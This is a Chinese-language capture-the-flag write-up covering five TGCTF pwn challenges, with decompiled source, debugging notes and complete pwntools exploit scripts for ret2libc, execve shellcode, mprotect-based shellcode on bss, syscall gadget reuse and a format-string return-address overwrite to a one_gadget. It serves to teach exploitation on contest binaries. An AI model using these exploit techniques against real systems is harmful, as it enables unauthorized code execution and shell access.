TGCTF_pwn方向

luyanpei

签到

直接打ret2libc,泄露puts,板子题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
p=remote('node1.tgctf.woooo.tech',30216)
libc=ELF("./libc.so.6")
elf=ELF('./pwn')

#偏移
move=0x070
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #接收泄露函数地址的函数

#地址
pop_rdi=0x0000000000401176
ret=0x000000000040101a
function_got=elf.got['puts']
function_plt=elf.plt['puts']
main=0x401178

#payload1
payload1=b'a'*(move+8)+p64(pop_rdi)+p64(function_got)+p64(function_plt)+p64(main)
p.recvuntil("leave your name.")

p.sendline(payload1)

#接收地址
target_addr=get_addr()

#print(hex(target_addr))

#LibcSearcher匹配地址找system和binsh
addr=target_addr-libc.symbols['puts']
binsh = addr + next(libc.search(b'/bin/sh\0'))
system = addr + libc.symbols['system']

#payload2
payload2=b'a'*(move+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

#接收
#p.recvuntil('')
#
# line = p.recvline().decode().strip()#.decode():将接收到的字节串转换为Python字符串。#.strip():去除字符串开头和结尾的空格和换行符。match = re.search(r'0x[0-9a-fA-F]+', line)value = match.group(0)#返回第一个匹配到的字符串python
p.sendline(payload2)
p.interactive()

shellcode

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x12uLL);
mprotect(buf, 0x1000uLL, 4);
sub_11C9(buf); // jmp rdi
return 0LL;
}

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);

mmap开辟buf区域可读可写可执行

1
mprotect(buf, 0x1000uLL, 4);

修改刚才那块内存的权限为 4,也就是只读 PROT_READ

这一步是有趣的安全限制,为了防止你之后再去改shellcode(但并不会影响代码的执行)

sub_11c9,jmp rdi; 跳转buf执行buf里面的shellcode。

64位execve调用号image-20250416131234193

  • `execve()` 的构造是:
    - `rax = 59` (`0x3b`)
    - `rdi = const char *filename` → 指向字符串 `"/bin/sh"`
    - `rsi = char *const argv[] = NULL`
    - `rdx = char *const envp[] = NULL`
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21



    所以我们要实现吧/bin/sh赋给rdi,这里用栈上的偏移来赋值,将rax置为59,然后调用syscall

    ```python
    from pwn import *
    context(log_level='debug',arch='amd64')
    #a=process('./pwn')
    a=remote('',63498)
    shellcode=asm('''
    add rdi, 0xb
    mov al, 59
    syscall
    ''')+b"/bin/sh"

    a.recvuntil('strength ')
    print(len(shellcode))
    a.send(shellcode)
    a.interactive()

overflow

程序源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 
// 包含:[!] HIGH_RISK 风险: 不受限制的输入(极其危险)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[200]; // [esp+0h] [ebp-D0h] BYREF
int *p_argc; // [esp+C8h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr[0], 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 256);
puts("i heard you love gets,right?");
gets(buf);
return 0;
}

gets存在栈溢出,程序静态编译,name可以读入256

思路:利用mprotect更改name所在的bss段权限,shellcode写到name,栈溢出返回name段执行shellcode

读入0xd0-8个垃圾数据,下一个读入的就是ecx的值,由于ret到【ecx-4】的地址,我们令ecx为name+4,既可以劫持程序执行流到name

image-20250416173900591

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import * 
context(log_level='debug',arch='i386',os='linux')

io=process('./pwn')
#gdb.attach(io)
mprotect=0x8070a70
name=0x80ef320
#给bss段可读可写可执行
shellcode =p32(mprotect)+p32(name+0x14)+p32(0x80ef000)+p32(0x1000)+p32(7)+ asm(shellcraft.sh())
io.recvuntil(b'could you tell me your name?\n')
io.sendline(shellcode)
payload=b'a'*(0xd0-8)+p32(name+4)#返回到name

io.recvuntil(b'i heard you love gets,right?\n')
io.sendline(payload)
io.interactive()

stack

源码

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
std::operator<<<std::char_traits<char>>(&std::cout, "welcome! could you tell me your name?\n");
read(0, &unk_404060, 0xA8uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "what dou you want to say?\n");
sub_4011FA();
return 0LL;
}
1
2
3
4
5
6
7
8
9
void *sub_4011FA()
{
signed __int64 v0; // rax
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
void *retaddr; // [rsp+48h] [rbp+8h]

v0 = sys_read(0, buf, 0x50uLL);
return retaddr;
}

看这一段汇编

image-20250416181202034

image-20250416181338071

这个位置比较了rbp+0x28和rbp+8的位置,jnz如果如果一样则不跳转,不一样则跳转到4011B6

看看0x4011B6执行了啥

image-20250416181442636

发现在这个函数中是根据buf上的数据进行一些操作的

可以通过pwndbg详细看一下参数

image-20250416193437907

所以我们思路就是溢出跳转到这里,在第一次输入的时候布置好寄存器,利用这里的syscall执行execve(/bin/sh,null,null),从而getshell

1
2
3
4
rax = 59 → execve 系统调用号
rdi = 0x4040a0 → 指向 "/bin/sh" 的指针
rsi = 0    → argv 为 NULL(或者指向一个 NULL 数组)
rdx = 0    → envp 为 NULL

分析可以知道rcx与rsi是0x4040c0

rax是0x4040a0

rdi是0x4040a0

rdx是0x4040b8

image-20250416195029776

我们的输入是在0x404060处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
a=process('./pwn')

payload=b'/bin/sh\x00'+b'a'*(28) #/bin/sh\x00
payload+=p64(0) #rsi=rcx=0
payload+=p64(0) #rdx=0
payload=payload.ljust(64,b'a')
payload+=p64(0x3b) #rax=0x3b
payload+=p64(0x404060) #rdi=0x404060->/bin/sh\x00
payload=payload.ljust(0xa8,b'\x00')
a.recvuntil(b'welcome! could you tell me your name?\n')

a.send(payload)
payload=b'a'*(0x50)
#gdb.attach(a)
a.recvuntil(b'what dou you want to say?\n')
a.sendline(payload)
pause()
a.interactive()

fmt

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf);
puts("please tell me your name");
read(0, buf, 0x30uLL);
if ( magic == 1131796 )
{
printf(buf);
magic = 0;
}
return 0;
}

只有一次的格式化字符串,题目泄露了栈地址,当magic=1131796也就是0x114514的时候会触发格式化字符串,该值被初始化为0x114514,触发后会置为0

这种情况下,我们如果想利用格式化字符串泄露libc地址然后打one_gadget的话,至少需要两次格式化字符串。

所以思路是劫持printf(buf)执行完后的返回地址,这样可以不让magic置为0,将返回地址劫持到read函数就可以再进行一次格式化字符串

image-20250416200407265

动调看一下printf的返回地址与所泄露的栈地址的偏移

image-20250416200749033

image-20250416200815614

可以发现,printf的返回地址是泄露的栈地址-0x8,我们可以利用这个地址进行格式化地址任意写,从而更改printf的返回地址

再顺便泄露一下libc地址

image-20250416203347706

然后打onegadget

构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
a=process('./pwn')
#a=remote('192.168.21.1',62521)
libc=ELF('./libc.so.6')
elf=ELF('./pwn')

a.recvuntil('your gift ')
stack_addr=int(a.recv(14),16)
log.success('stack_addr='+hex(stack_addr))
ptintf_got=0x403fe0
read_addr=0x40123d
ret_addr=stack_addr-0x8
a.recvuntil(b"please tell me your name")
main_addr=0x4011b6
payload=b"bb%39$p%"+str(read_addr-0x10).encode()+b'c%10$n'
print(len(payload))
payload=payload.ljust(0x20,b'a')#对齐栈

payload+=p64(ret_addr)
#gdb.attach(a)
a.sendline(payload)

a.recvuntil(b'bb')
libc_start_main=int(a.recv(14),16)-128
libc_base=libc_start_main-libc.sym['__libc_start_main']

log.success("libc_start_main_addr="+hex(libc_start_main))
log.success("libc_base="+hex(libc_base))
#gdb.attach(a)
one_gadget=libc_base+0xe3b01
ret=stack_addr+0x68
lower=one_gadget & 0xffff
higher=(one_gadget >> 16) & 0xff
payload=b'%'+str(higher).encode()+b'c%10$hhn'+b'%'+str(lower-higher).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(ret+2)+p64(ret)
a.sendline(payload)
a.interactive()

  • Title: TGCTF_pwn方向
  • Author: luyanpei
  • Created at : 2025-04-16 00:07:05
  • Updated at : 2025-04-23 18:28:59
  • Link: https://redefine.ohevan.com/2025/04/16/TGCTF_pwn方向/
  • License: All Rights Reserved © luyanpei
On this page
TGCTF_pwn方向